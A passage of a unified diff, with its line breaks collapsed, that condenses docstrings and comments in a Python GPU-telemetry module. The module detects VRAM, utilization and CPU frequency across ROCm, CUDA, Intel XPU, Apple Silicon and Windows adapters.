only a LARGER driver total, never adopt it outright. There is no context-free source for the GTT total, so only APUs pay mem_get_info. "Not unified" is not "discrete": the classifier knows an APU by the driver's integrated flag or a hardcoded arch set, so a gfx1103 Phoenix on an older runtime reads as discrete and would publish its carve-out as the whole device -- hence the driver total is worth a context whenever the flag is unfilled or the classifier fails."""if not IS_ROCM:return Falseif _rocm_props_unified_status(props) is not False:@@ -3118,20 +2296,7 @@ def _cuda_props_are_integrated(props: Any, backend: Optional[str] = "cuda") -> bdef _torch_get_device_inventory(device_indices: list[int]) -> list[Dict[str, Any]]:- """Per-GPU name and total VRAM only, without creating a driver context.-- INVENTORY, not occupancy. ``get_device_properties`` is answered from the- driver's device list, so it costs nothing; ``mem_get_info`` has to attach a- primary context to the device, which is ~612 MiB the process never gives back- (a context is only torn down at exit). A telemetry poll every few seconds must- not be what pins that, so callers that need name and capacity but not live- occupancy come here instead of _torch_get_per_device_info.-- ``props.total_memory`` is the same number ``mem_get_info`` returns as its total- half everywhere except a ROCm APU (see _rocm_props_total_is_carve_out), so- totals are unchanged. ``used_gb`` is always None, the value this module already- uses for "telemetry unavailable".- """+ """Per-GPU name and total VRAM only, without creating a driver context: get_device_properties is answered from the driver's device list, while mem_get_info attaches a primary context worth ~612 MiB the process never gives back, and a telemetry poll must not be what pins that, so callers wanting live occupancy go to _torch_get_per_device_info instead. props.total_memory equals mem_get_info's total everywhere except a ROCm APU (see _rocm_props_total_is_carve_out), and used_gb is always None ("telemetry unavailable")."""mod, backend = _torch_get_device_module()if mod is None:return []@@ -3148,10 +2313,7 @@ def _torch_get_device_inventory(device_indices: list[int]) -> list[Dict[str, Anyshared_memory_host_backed_bytes = Nonetry:if _rocm_props_total_is_carve_out(props) and hasattr(mod, "mem_get_info"):- # Only a WIDER total, same as _rocm_windows_per_device_vram.- # The classifier fails open, so a discrete card reaches here- # too, and a total below props.total_memory would hide models- # this device can hold.+ # Only a WIDER total, as in _rocm_windows_per_device_vram: the classifier fails open, so a discrete card reaches here too and a total below props.total_memory would hide models this device can hold.driver_total_bytes = int(mod.mem_get_info(ordinal)[1])shared_memory = known_unified and (driver_total_bytes > int(total_bytes)@@ -3164,8 +2326,7 @@ def _torch_get_device_inventory(device_indices: list[int]) -> list[Dict[str, Anyshared_memory_host_backed_bytes = driver_total_bytes - props_total_bytestotal_bytes = max(driver_total_bytes, int(total_bytes))except Exception as e:- # Keep the carve-out rather than dropping the device: an- # understated total still beats no device at all.+ # Keep the carve-out rather than dropping the device: an understated total still beats no device at all.logger.debug("ROCm APU driver total failed for ordinal %d: %s", ordinal, e)try:rocm_gfx = str(getattr(props, "gcnArchName", "") or "")@@ -3195,16 +2356,7 @@ def _torch_get_device_inventory(device_indices: list[int]) -> list[Dict[str, Anydef _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]]:- """Query torch for per-GPU name, total VRAM, and used VRAM.-- Creates a driver context on CUDA/HIP (see _torch_get_device_inventory). Only- call this when live occupancy is actually consumed.-- ``used_gb`` is ``None`` on Windows ROCm when the driver reports ``free ==- total``: that 0 means unknown, not empty. This is the DISPLAY path, so unknown- rather than a pessimistic ceiling, which is the right answer for a refusal and- the wrong one for a number shown to the user as measured.- """+ """Per-GPU name, total VRAM and used VRAM from torch. Creates a driver context on CUDA/HIP, so call it only when live occupancy is consumed. ``used_gb`` is None on Windows ROCm when the driver reports free == total: that 0 means unknown, not empty, and this is the DISPLAY path, where unknown is right and a pessimistic ceiling is not."""mod, _ = _torch_get_device_module()if mod is None:return []@@ -3227,9 +2379,7 @@ def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]except Exception as e:if device != DeviceType.XPU:raise- # Arc B580 and Lunar Lake can report properties while- # rejecting free-memory queries. Preserve the usable- # device and its total memory with unknown utilization.+ # Arc B580 and Lunar Lake can report properties while rejecting free-memory queries; preserve the device and its total with unknown utilization.logger.debug("XPU free-memory query failed for ordinal %d: %s",ordinal,@@ -3241,9 +2391,7 @@ def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]if _win_rocm and free_bytes == total_bytes:used_bytes = Noneelif device == DeviceType.XPU:- # XPU without mem_get_info: memory_allocated() is process-local- # and misleading for placement, so return None for the- # selector's no-telemetry fallback.+ # XPU without mem_get_info: memory_allocated() is process-local and misleading for placement, so return None for the selector's no-telemetry fallback.used_bytes = Noneelse:used_bytes = mod.memory_allocated(ordinal)@@ -3263,31 +2411,14 @@ def _torch_get_per_device_info(device_indices: list[int]) -> list[Dict[str, Any]return devices-# ========== Live GPU Utilization ==========--def _xpu_hierarchy_is_composite() -> bool:- """Return True iff Level Zero is running in COMPOSITE device hierarchy.-- COMPOSITE: numeric ``ZE_AFFINITY_MASK`` entries address root GPU IDs- (tiles use ``N.M``). FLAT (the oneAPI default; also assumed when- ``ZE_FLAT_DEVICE_HIERARCHY`` is unset): entries address tile/device- handles, so mapping them back to root GPU IDs is unsafe. Only COMPOSITE- gives stable root-ID semantics.- """+ """True iff Level Zero runs in COMPOSITE device hierarchy, where numeric ZE_AFFINITY_MASK entries address root GPU IDs (tiles use N.M). Under FLAT, the oneAPI default and the assumption when ZE_FLAT_DEVICE_HIERARCHY is unset, entries address tile handles and mapping them back to root IDs is unsafe."""hierarchy = (os.environ.get("ZE_FLAT_DEVICE_HIERARCHY") or "FLAT").strip().upper()return hierarchy == "COMPOSITE"def _parse_ze_mask_roots(mask: str) -> list[int]:- """Parse a ``ZE_AFFINITY_MASK`` value into an ordered list of root device IDs.-- One root ID per mask token, preserving order and duplicates so logical- ordinals map 1-to-1 to physical root IDs (e.g. ``"0.0,0.1"`` -> ``[0, 0]``,- ``"2.0,0.1,0.2"`` -> ``[2, 0, 0]``); empty list if no parseable digits.- Only meaningful in COMPOSITE hierarchy -- callers needing a stable- root-ID mapping must gate on ``_xpu_hierarchy_is_composite()``.- """+ """Parse ZE_AFFINITY_MASK into ordered root device IDs, one per token, preserving order and duplicates so logical ordinals map 1-to-1 onto physical root IDs ("2.0,0.1,0.2" -> [2, 0, 0]). Only meaningful in COMPOSITE hierarchy, which callers must gate on."""roots: list[int] = []if not mask:return roots@@ -3296,18 +2427,14 @@ def _parse_ze_mask_roots(mask: str) -> list[int]:if not token:continueroot = token.split(".", 1)[0]- # isdecimal() (not isdigit()) rejects Unicode superscripts like- # "²"/"³", which pass isdigit() but crash int() with ValueError.+ # isdecimal(), not isdigit(), which accepts Unicode superscripts that then crash int().if root.isdecimal():roots.append(int(root))return rootsdef _smi_query(func_name: str, *args, **kwargs) -> Optional[Dict[str, Any]]:- """Query the appropriate SMI backend (amd-smi or nvidia-smi).-- Returns the result dict if available, else None.- """+ """Query the appropriate SMI backend (amd-smi or nvidia-smi); None when unavailable."""if IS_ROCM:backend_name = "amd-smi"try:@@ -3333,11 +2460,7 @@ def _smi_query(func_name: str, *args, **kwargs) -> Optional[Dict[str, Any]]:def _read_apple_gpu_stats() -> Dict[str, Any]:- """Query macOS IORegistry for AGX (Apple GPU) live stats. No sudo needed.-- Returns dict with utilization_pct, vram_used_bytes (system-wide GPU- memory), or empty dict on failure.- """+ """macOS IORegistry AGX live stats (utilization_pct, vram_used_bytes, system-wide), or {} on failure. No sudo needed."""try:result = subprocess.run(["ioreg", "-r", "-c", "AGXAccelerator"],@@ -3348,7 +2471,7 @@ def _read_apple_gpu_stats() -> Dict[str, Any]:except Exception:return {}- # PerformanceStatistics block has GPU utilization and in-use memory+ # PerformanceStatistics block has GPU utilization and in-use memory.m = re.search(r'"PerformanceStatistics" = \{([^}]+)\}', text)if not m:return {}@@ -3363,33 +2486,23 @@ def _read_apple_gpu_stats() -> Dict[str, Any]:# ── CPU frequency on Apple Silicon ──────────────────────────────────────────-# psutil divides the pmgr "voltage-statesN-sram" IORegistry tables by 1e6 to-# reach MHz, but Apple switched them from Hz to kHz on M4, so psutil <= 7.2.2-# shows a 4.5 GHz M4 Pro as "4 MHz" in Settings > System (issue #8519). Upstream-# fix is giampaolo/psutil#2824, merged and unreleased; until it ships we read the-# tables ourselves through ioreg with that PR's heuristics, else rescale psutil's-# value. A fixed psutil is already plausible, so neither correction runs.+# psutil divides the pmgr "voltage-statesN-sram" tables by 1e6 to reach MHz, but Apple switched them from Hz to kHz on M4, so psutil <= 7.2.2 shows a 4.5 GHz M4 Pro as "4 MHz" (#8519). Until giampaolo/psutil#2824 ships we read the tables through ioreg with that PR's heuristics, else rescale psutil's value.# Apple clocks are 0.6-4.6 GHz, so a raw Hz entry sits above 1e8 and kHz below._CPU_FREQ_UNIT_THRESHOLD = 100_000_000_MIN_PLAUSIBLE_CPU_MHZ = 500_MAX_PLAUSIBLE_CPU_MHZ = 20000-# Below this a table is a GPU/NPU rail: above every Apple GPU peak so far, under-# the slowest CPU cluster shipped (M1 E-core, 2064 MHz).+# Below this a table is a GPU/NPU rail: above every Apple GPU peak so far, under the slowest CPU cluster shipped (M1 E-core, 2064 MHz)._CPU_CLUSTER_MIN_PEAK_MHZ = 2000_VOLTAGE_STATES_KEY = re.compile(r"^voltage-states\d+-sram$")-# Fixed for the life of the host and /api/system polls every few seconds, so-# probe once. The sentinel separates "not probed yet" from "probed, unavailable".+# Fixed for the life of the host and /api/system polls every few seconds, so probe once. The sentinel separates "not probed yet" from "probed, unavailable"._apple_cpu_peak_mhz: Any = "unprobed"_apple_cpu_peak_lock = threading.Lock()def _voltage_state_freqs_mhz(blob: bytes) -> list:- """Plausible MHz from a voltage-statesN-sram blob.-- Each entry is 8 bytes: little-endian uint32 frequency then uint32 voltage.- """+ """Plausible MHz from a voltage-statesN-sram blob: each entry is 8 bytes, little-endian uint32 frequency then uint32 voltage."""freqs = []for offset in range(0, len(blob) - 7, 8):raw = int.from_bytes(blob[offset : offset + 4], "little")@@ -3423,9 +2536,7 @@ def _read_apple_cpu_peak_mhz() -> Optional[float]:if _apple_cpu_peak_mhz != "unprobed":return _apple_cpu_peak_mhz- # /api/system is polled from several worker threads; unlocked, a burst of- # first requests spawns one ioreg each and a slow failing probe landing last- # poisons the cache for the rest of the run.+ # /api/system is polled from several worker threads; unlocked, a burst of first requests spawns one ioreg each and a slow failing probe landing last poisons the cache for the rest of the run.with _apple_cpu_peak_lock:if _apple_cpu_peak_mhz != "unprobed":return _apple_cpu_peak_mhz@@ -3437,9 +2548,7 @@ def _read_apple_cpu_peak_mhz() -> Optional[float]:result = subprocess.run(["ioreg", "-a", "-r", "-c", "AppleARMIODevice", "-d", "1"],capture_output = True,- # Same budget as the AGX probe above. The call is made once per- # process but from inside a /api/system request, so it must not- # be able to hold a worker thread for long.+ # Same budget as the AGX probe above: called once per process, but from inside a /api/system request, so it must not hold a worker thread for long.timeout = 2,)entries = plistlib.loads(result.stdout) if result.stdout else []@@ -3454,18 +2563,13 @@ def _read_apple_cpu_peak_mhz() -> Optional[float]:def cpu_frequency_mhz() -> Optional[float]:- """Current CPU clock in MHz, corrected for the psutil Apple Silicon unit bug.-- Returns None when no frequency is available (psutil reports nothing inside- many containers and VMs).- """+ """Current CPU clock in MHz, corrected for the psutil Apple Silicon unit bug. None when no frequency is available (psutil reports nothing inside many containers and VMs)."""freq = Nonetry:import psutilfreq = psutil.cpu_freq()except Exception as e:- # Not fatal on Apple Silicon: the IORegistry read below stands in. psutil- # raises here on M5, whose tables are not at the indexes it hardcodes.+ # Not fatal on Apple Silicon: the IORegistry read below stands in. psutil raises here on M5, whose tables are not at the indexes it hardcodes.logger.debug("Failed to get CPU frequency: %s", e)current = getattr(freq, "current", None) if freq else None@@ -3481,8 +2585,7 @@ def cpu_frequency_mhz() -> Optional[float]:return round(exact, 2)if not usable:return None- # No tables: recover the magnitude from psutil's kHz-as-Hz reading. It- # truncates in integer arithmetic, so this lands on the GHz step, not the peak.+ # No tables: recover the magnitude from psutil's kHz-as-Hz reading. It truncates in integer arithmetic, so this lands on the GHz step, not the peak.return round(float(current) * 1000, 2)@@ -3543,12 +2646,7 @@ def _engine_instance_luid(instance_name: str) -> Optional[int]:def _rocm_windows_perf_counter_gpu_util_pct(luid: Optional[int] = None) -> Optional[float]:- """Query AMD GPU compute utilization via Windows Performance Counters (3D engine nodes).-- ``luid`` narrows the sum to one adapter's engines, matched here rather than in the- counter path so tests can reach it. The engine type stays in the path, where it- keeps the sample set to one type per process.- """+ """AMD GPU compute utilization via Windows Performance Counters (3D engine nodes). ``luid`` narrows the sum to one adapter's engines, matched here rather than in the counter path so tests can reach it."""if platform.system() != "Windows":return Nonetry:@@ -3598,12 +2696,7 @@ def _rocm_windows_perf_counter_gpu_util_pct(luid: Optional[int] = None) -> Optiodef _rocm_linux_sysfs_vram_gb() -> tuple[Optional[float], Optional[float]]:- """Query system-wide AMD GPU VRAM via Linux DRM sysfs.-- Reads /sys/class/drm/card*/device/mem_info_vram_*, which the kernel- updates in real-time across all processes. No tools required.- Returns (used_gb, total_gb) or (None, None) on failure.- """+ """System-wide AMD GPU VRAM from /sys/class/drm/card*/device/mem_info_vram_*, which the kernel updates across all processes. Returns (used_gb, total_gb), or (None, None) on failure."""if platform.system() != "Linux":return None, Nonetry:@@ -3620,28 +2713,13 @@ def _rocm_linux_sysfs_vram_gb() -> tuple[Optional[float], Optional[float]]:return None, None-# 0x1002. NVIDIA's open kernel module also registers KFD nodes (vendor_id 0x10DE);-# a non-AMD node is not a HIP device and must never take an ordinal.+# 0x1002. NVIDIA's open kernel module also registers KFD nodes (0x10DE); a non-AMD node is not a HIP device and must never take an ordinal._AMD_PCI_VENDOR_ID = 4098_INTEL_PCI_VENDOR_ID = 0x8086def _rocm_kfd_gpu_pci_ids() -> list[str]:- """PCI addresses of the GPUs ROCm enumerates, in HIP device order.-- Reads /sys/class/kfd/kfd/topology/nodes/<N>/properties, the topology ROCm- itself enumerates from: AMD GPU nodes (simd_count > 0 excludes CPUs,- vendor_id == AMD excludes NVIDIA) in node-id order are HIP's device order, so- position N is ROCm physical device N. Unlike DRM sysfs, an amdgpu adapter HIP- cannot enumerate has no node here, so it never consumes an ordinal.-- Returns [] (disabling the overlay) when KFD is absent, and FAILS CLOSED the- same way on any unreadable node or an AMD node with no location_id: dropping- one would shift every later ordinal and let a similar-capacity GPU pass the- total-size guard while showing another card's usage.-- location_id is the kernel's (bus << 8) | devfn; domain is separate.- """+ """PCI addresses of the GPUs ROCm enumerates, in HIP device order, from the KFD topology ROCm itself enumerates from: AMD GPU nodes (simd_count > 0, vendor_id == AMD) in node-id order, so position N is ROCm physical device N. Unlike DRM sysfs, an amdgpu adapter HIP cannot enumerate has no node here. Returns [] when KFD is absent, and FAILS CLOSED the same way on an unreadable node or an AMD node with no location_id, since dropping one would shift every later ordinal. location_id is the kernel's (bus << 8) | devfn."""nodes: list[tuple[int, str]] = []try:node_dirs = glob.glob("/sys/class/kfd/kfd/topology/nodes/*")@@ -3680,18 +2758,7 @@ def _rocm_kfd_gpu_pci_ids() -> list[str]:def _rocm_linux_amdgpu_cards() -> list[tuple[str, int, str]]:- """The amdgpu-bound DRM cards in PCI order: ``(pci_bdf, card_no, device_dir)``.-- Membership is by the BOUND DRIVER, not the VRAM sysfs files: an AMD device- with incomplete sysfs support (some APUs expose no mem_info_vram_*) still- consumes a ROCm ordinal, and dropping it would shift every later card down.- PCI order is HIP's default enumeration order, so list position is the ROCm- ordinal; card_no is a stable tiebreak when the BDF cannot be resolved.-- NOTE this is a superset of the ROCm-visible set (a HIP-unsupported amdgpu- adapter appears too), so callers must check the counts agree before assuming- a 1:1 mapping onto torch devices.- """+ """The amdgpu-bound DRM cards in PCI order: (pci_bdf, card_no, device_dir). Membership is by the BOUND DRIVER, not the VRAM sysfs files, since an AMD device with incomplete sysfs still consumes a ROCm ordinal and dropping it would shift every later card. PCI order is HIP's default enumeration order, so list position is the ROCm ordinal. NOTE this is a superset of the ROCm-visible set, so callers must check the counts agree before assuming a 1:1 mapping."""if platform.system() != "Linux":return []amd_cards: list[tuple[str, int, str]] = []@@ -3720,16 +2787,7 @@ def _rocm_linux_amdgpu_cards() -> list[tuple[str, int, str]]:def _rocm_linux_sysfs_vram_by_pci_gb() -> dict[str, tuple[float, float]]:- """System-wide AMD VRAM via Linux DRM sysfs, keyed by the card's PCI address.-- Reads each card's mem_info_vram_{used,total} (kernel-updated across all- processes) so every GPU gets its own figure, unlike _rocm_linux_sysfs_vram_gb- which sums the host. Keyed by PCI address, not an ordinal, so the caller can- join it to _rocm_kfd_gpu_pci_ids() by identity: DRM card numbers include- foreign adapters and this set includes cards HIP does not enumerate, so any- ordinal from this list alone can be shifted relative to ROCm's. A card with- missing/unreadable/zero-total figures simply has no entry. Empty off Linux.- """+ """System-wide AMD VRAM via Linux DRM sysfs, keyed by the card's PCI address so every GPU gets its own figure. Keyed by PCI address, not an ordinal, so the caller can join it to _rocm_kfd_gpu_pci_ids() by identity: DRM card numbers include foreign adapters and cards HIP does not enumerate, so an ordinal from this list alone can be shifted relative to ROCm's."""if platform.system() != "Linux":return {}@@ -3757,27 +2815,14 @@ def _rocm_linux_sysfs_vram_by_pci_gb() -> dict[str, tuple[float, float]]:# ── Windows AMD/ROCm per-adapter VRAM (issue #7072) ──────────────────────────-# amd-smi is disabled and hipMemGetInfo reports free==total, so read used from the-# per-LUID "GPU Adapter Memory" perf counters and take each total from torch, so-# every GPU shows instead of one fake device with GPU 0's total.-# Placeholder adapters (Basic Render Driver / idle iGPU) drop only when they would-# outnumber the real torch devices.+# amd-smi is disabled and hipMemGetInfo reports free==total, so read used from the per-LUID "GPU Adapter Memory" counters and take each total from torch, or one fake device shows GPU 0's total. Placeholder adapters (Basic Render Driver, idle iGPU) drop only when they would outnumber the real torch devices._ROCM_WIN_ADAPTER_MIN_BYTES = 64 * 1024 * 1024 # 64 MiBdef _rocm_windows_perf_counter_vram_by_adapter(counter: str = "Dedicated Usage",) -> Optional[list[tuple[str, float]]]:- """Per-adapter VRAM usage on Windows via Performance Counters.-- ``counter`` selects the ``GPU Adapter Memory`` field. Dedicated Usage is the- default and the only one safe to select adapters on; see- ``_rocm_windows_unified_used_bytes`` for why Shared Usage is read separately- rather than folded in here.-- Returns ``[(instance_name, used_bytes)]`` (one per LUID-named adapter), or- ``None`` when the counter is unavailable/localized/empty so callers fall back.- """+ """Per-adapter VRAM usage on Windows via Performance Counters. ``counter`` selects the GPU Adapter Memory field; Dedicated Usage is the default and the only one safe to select adapters on (see _rocm_windows_unified_used_bytes for why Shared Usage is read separately). Returns [(instance_name, used_bytes)] per LUID-named adapter, or None when the counter is unavailable so callers fall back."""if platform.system() != "Windows":return Nonetry:@@ -3816,19 +2861,12 @@ def _rocm_windows_perf_counter_vram_by_adapter(return None-# DirectX writes one record per adapter here, keyed by a GUID, holding the same-# AdapterLuid the counter instances are named after alongside the Description-# string torch reports as props.name and the gfx target it reports as-# gcnArchName. Those are the join keys capacity ranking lacks.+# DirectX writes one record per adapter here, holding the AdapterLuid the counter instances are named after alongside the Description torch reports as props.name and the gfx target it reports as gcnArchName: the join keys capacity ranking lacks._WINDOWS_DIRECTX_KEY = r"SOFTWARE\Microsoft\DirectX"def _parse_adapter_luid(instance_name: str) -> Optional[int]:- """The 64-bit LUID in a ``GPU Adapter Memory`` instance name, or None.-- Instances are named ``luid_0x<high>_0x<low>_phys_<n>``; DirectX stores the- same value as one 64-bit ``AdapterLuid``, so recombine the halves.- """+ """The 64-bit LUID in a ``GPU Adapter Memory`` instance name, or None. Instances are named luid_0x<high>_0x<low>_phys_<n>, while DirectX stores one 64-bit AdapterLuid, so recombine the halves."""m = re.match(r"luid_0x([0-9a-f]+)_0x([0-9a-f]+)", instance_name.strip(), re.IGNORECASE)if m is None:return None@@ -3838,42 +2876,18 @@ def _parse_adapter_luid(instance_name: str) -> Optional[int]:return None-# hipDeviceProp_tR0600 opens with name[256], hipUUID[16], luid[8],-# luidDeviceNodeMask[4]. The R0600 suffix IS the ABI version, so that prefix is-# fixed by the same contract that named it; the name is read back and compared-# against the device's own anyway, so a layout that ever moved is caught rather-# than trusted.+# hipDeviceProp_tR0600 opens with name[256], hipUUID[16], luid[8], luidDeviceNodeMask[4]; the R0600 suffix IS the ABI version, and the name is read back and compared against the device's own, so a layout that ever moved is caught rather than trusted._HIP_PROPS_NAME = slice(0, 256)_HIP_PROPS_LUID = slice(272, 280)_HIP_PROPS_NODE_MASK = slice(280, 284)-# Oversized on purpose: HIP writes the whole struct, ~2 KiB, and only the prefix-# above is read back.+# Oversized on purpose: HIP writes the whole struct, ~2 KiB, and only the prefix above is read back._HIP_PROPS_BUFFER_BYTES = 64 * 1024def _rocm_windows_hip_adapter_ids(ordinals: list[int], names: list[str]) -> Optional[list[tuple[int, int]]]:- """The ``(luid, node_mask)`` HIP itself reports for each visible ordinal.-- ``hipDeviceProp_tR0600`` carries the same DXGI LUID the ``GPU Adapter- Memory`` counter instances are named after, so asking HIP joins the two- sides on the adapter itself rather than on anything about it. Windows- reassigns LUIDs across a reboot or a driver restart, and all three sources- move together, so the value is only ever compared within one poll.-- ``node_mask`` is ``luidDeviceNodeMask``: which nodes of a linked adapter- this ordinal owns, and 0 on the ordinary adapter that is the whole thing.-- Returns one pair per ordinal, or None when the runtime cannot be asked at- all (off Windows, the DLL not loaded into this process, the symbol absent,- an ordinal that will not answer, an all-zero LUID, or a name that does not- read back) so the caller falls back to the DirectX join. All or nothing for- the same reason that map is: a partially resolved set would let one card's- counter answer for another.-- Idea and the R0600 route from @pablo86gr in #8793.- """+ """The (luid, node_mask) HIP itself reports for each visible ordinal, so the counters and torch join on the adapter itself. Windows reassigns LUIDs across a reboot or driver restart and all three sources move together, so the value is only ever compared within one poll. node_mask is luidDeviceNodeMask: which nodes of a linked adapter this ordinal owns, 0 on an ordinary adapter. None when the runtime cannot be asked at all, so the caller falls back to the DirectX join -- all or nothing, since a partially resolved set would let one card's counter answer for another. Route from @pablo86gr in #8793."""if platform.system() != "Windows" or not ordinals:return Nonetry:@@ -3884,8 +2898,7 @@ def _rocm_windows_hip_adapter_ids(kernel32 = ctypes.WinDLL("kernel32", use_last_error = True)kernel32.GetModuleHandleW.argtypes = [ctypes.c_wchar_p]kernel32.GetModuleHandleW.restype = ctypes.c_void_p- # Only a module already in this process: torch loaded the runtime it is- # built against, and LoadLibrary could pull in a different one.+ # Only a module already in this process: torch loaded the runtime it is built against, and LoadLibrary could pull in a different one.hip = Nonefor dll in dict.fromkeys([f"amdhip64_{major}.dll" if major.isdigit() else "", "amdhip64.dll"]@@ -3928,23 +2941,7 @@ def _rocm_windows_hip_adapter_ids(def _match_adapter_used_by_hip_luid(adapters: list[tuple[str, float]], dev_meta: list[Dict[str, Any]]) -> Optional[tuple[list[Optional[float]], float, list[Optional[int]]]]:- """Attribute per-adapter used bytes on the LUID HIP reports for each ordinal.-- The exact key, so unlike the DirectX join this separates two cards of one- model. Ordinals come from ``visible_ordinal``, not from this list's own- positions, which are compacted when a device fails to probe.-- A linked-node adapter puts several ordinals behind one LUID, and the- counters index its nodes as ``phys_N`` without saying which ordinal owns- which. The node mask says how many nodes each ordinal holds, which is- enough to tell "these counters are exactly these ordinals' nodes" from "one- of them belongs to a node HIP is not showing us" -- but not enough to pair- them, so several ordinals under one LUID report unknown per device and- contribute only to the aggregate, which the pairing does not change.-- The third return is that LUID, only where the device is the whole adapter, which- is what the engine counters need to filter safely.- """+ """Attribute per-adapter used bytes on the LUID HIP reports for each ordinal: the exact key, so unlike the DirectX join this separates two cards of one model. Ordinals come from ``visible_ordinal``, not this list's positions, which compact when a device fails to probe. A linked-node adapter puts several ordinals behind one LUID and the counters index its nodes as phys_N without saying which ordinal owns which, so the node mask can tell "these counters are exactly these ordinals' nodes" from "one belongs to a node HIP is not showing us", but cannot pair them: those ordinals report unknown and feed only the aggregate. The third return is that LUID, only where the device is the whole adapter."""ordinals = [int(meta["visible_ordinal"]) for meta in dev_meta]identities = _rocm_windows_hip_adapter_ids(ordinals, [str(meta["name"]) for meta in dev_meta])if identities is None:@@ -3976,24 +2973,18 @@ def _match_adapter_used_by_hip_luid(total_used = 0.0for luid, positions in positions_by_luid.items():useds = useds_by_luid.get(luid, [])- # Fewer counters than nodes means a visible node has no reading; more- # means the adapter has a node these ordinals do not own, whose usage is- # not theirs to claim.+ # Fewer counters than nodes means a visible node has no reading; more means the adapter has a node these ordinals do not own, whose usage is not theirs to claim.if len(useds) != nodes_by_luid[luid]:return Noneused = float(sum(useds))- # The carve-out, not the displayed total: on a unified APU the latter is- # the whole driver pool, against which no reading is out of range.+ # The carve-out, not the displayed total: on a unified APU the latter is the whole driver pool, against which no reading is out of range.capacity = sum(_adapter_counter_capacity(dev_meta[position]) for position in positions)if used > capacity:return Nonetotal_used += usedif len(positions) == 1:assigned[positions[0]] = used- # Counts say how many nodes this ordinal owns, never which. The mask- # names them (bit i is node i), so the observed phys_N set has to BE- # those or the LUID covers a node this device does not own; a zero- # mask names nothing and leaves the count check alone.+ # Counts say how many nodes an ordinal owns, never which. The mask names them (bit i is node i), so the observed phys_N set has to BE those or the LUID covers a node this device does not own; a zero mask names nothing and leaves the count check alone.named = {i for i in range(32) if identities[positions[0]][1] >> i & 1}if not named or named == physes_by_luid.get(luid, set()):whole_adapter[positions[0]] = luid@@ -4004,25 +2995,12 @@ _ADAPTER_NAME_NOISE = re.compile(r"\((?:tm|r)\)|[™®]", re.IGNORECASE)def _normalize_adapter_name(name: str) -> str:- """A GPU name in the one spelling both sides of the join can agree on.-- DirectX takes its Description from the driver INF and HIP fills props.name- from the ASIC record, so the same card reaches the two sides with the- trademark marks and the spacing around them differing -- "AMD Radeon(TM)- 780M Graphics" against "AMD Radeon 780M Graphics". Nothing here merges two- different models, and a collision between two that did normalize alike is- caught by the count check in _attribute_adapter_useds_by_key.- """+ """A GPU name in the one spelling both sides of the join can agree on: DirectX takes its Description from the driver INF and HIP fills props.name from the ASIC record, so trademark marks and spacing differ ("AMD Radeon(TM) 780M Graphics" against "AMD Radeon 780M Graphics"). Nothing here merges two different models, and a collision that did normalize alike is caught by the count check in _attribute_adapter_useds_by_key."""return " ".join(_ADAPTER_NAME_NOISE.sub(" ", name).split()).casefold()def _parse_adapter_family_gfx(family: str) -> str:- """The gfx target in a DirectX ``AdapterFamily``, or "" when it holds none.-- The AMD driver writes ``AMD_NAVI44:gfx1200``; torch reports the same target- as ``props.gcnArchName``, which on Linux carries feature suffixes- (``gfx1201:sramecc-:xnack-``) the comparison has to drop.- """+ """The gfx target in a DirectX ``AdapterFamily``, or "". The AMD driver writes AMD_NAVI44:gfx1200, while torch reports the same target as props.gcnArchName, which on Linux carries feature suffixes the comparison must drop."""for token in str(family).split(":"):token = token.strip().lower()if re.fullmatch(r"gfx[0-9a-f]+", token):@@ -4033,27 +3011,7 @@ def _parse_adapter_family_gfx(family: str) -> str:def _windows_amd_adapter_records_by_luid(vendor_id_filter: int = _AMD_PCI_VENDOR_ID, *, distinguish_failure: bool = False) -> "dict[int, Dict[str, Any]] | None":- """DirectX registry metadata for one vendor's adapters, keyed by LUID.-- ``vendor_id_filter`` defaults to AMD, which is every pre-existing caller. The- physical inventory passes Intel's id as well, so an Arc host whose XPU wheel was- replaced is reported rather than going silent.-- ``gfx`` is absent when the driver wrote no ``AdapterFamily``.- ``dedicated_memory_bytes`` is absent when neither dedicated-memory value is available.-- All or nothing: a record this cannot read makes the map incomplete, and an- incomplete map is indistinguishable from a complete one at the join, which- would then pair a visible card with a hidden same-named card's counter. So- any failure past the point where a subkey is known to be an adapter gives up- on the whole map, which drops the caller back to capacity ranking. Same for- off Windows or without the key.-- The ranking callers only need "no usable map", so they get ``{}``.- ``distinguish_failure`` returns ``None`` for that case instead: the inventory has- to tell a vendor with no adapters from a vendor it could not ask, because- publishing the first for the second erases a settled mismatch.- """+ """DirectX registry metadata for one vendor's adapters, keyed by LUID; ``vendor_id_filter`` defaults to AMD, and the physical inventory also passes Intel's id so an Arc host whose XPU wheel was replaced is reported. ``gfx`` and ``dedicated_memory_bytes`` are absent when the driver wrote none. All or nothing: an incomplete map is indistinguishable from a complete one at the join and would pair a visible card with a hidden same-named card's counter, so any failure gives up on the whole map and drops the caller back to capacity ranking. Ranking callers get {}; ``distinguish_failure`` returns None instead, because the inventory has to tell a vendor with no adapters from a vendor it could not ask."""records = _windows_amd_adapter_records_or_none(vendor_id_filter)if records is None and not distinguish_failure:return {}@@ -4075,8 +3033,7 @@ def _windows_amd_adapter_records_or_none(with winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, _WINDOWS_DIRECTX_KEY) as dx_key:for index in range(winreg.QueryInfoKey(dx_key)[0]):subkey = winreg.EnumKey(dx_key, index)- # Adapter records are GUID-named; ShaderCache and any future- # named subkey are not adapters and are not ours to read.+ # Adapter records are GUID-named; ShaderCache and any future named subkey are not adapters and are not ours to read.if not (subkey.startswith("{") and subkey.endswith("}")):continuewith winreg.OpenKey(dx_key, subkey) as adapter_key:@@ -4211,14 +3168,7 @@ def _windows_rocm_shared_pool_host_gb_by_index(devices: list[Dict[str, Any]]) ->def _adapter_counter_capacity(meta: Dict[str, Any]) -> float:- """The capacity a ``Dedicated Usage`` counter for this device can actually fill.-- That counter measures the dedicated segment, so the carve-out is its ceiling.- ``total_bytes`` is what the user is SHOWN, and on a unified APU may be the- whole driver pool, against which a counter no visible card could hold still- fits. Rank or bound a counter with this, never ``total_bytes``. The fallback- keeps it right on a ``dev_meta`` built before ``dedicated_bytes`` existed.- """+ """The capacity a ``Dedicated Usage`` counter for this device can actually fill: that counter measures the dedicated segment, so the carve-out is its ceiling, while ``total_bytes`` is what the user is SHOWN and on a unified APU may be the whole driver pool. Rank or bound a counter with this, never total_bytes."""return float(meta.get("dedicated_bytes", meta["total_bytes"]))@@ -4227,30 +3177,18 @@ def _attribute_adapter_useds_by_key(positions_by_key: dict[str, 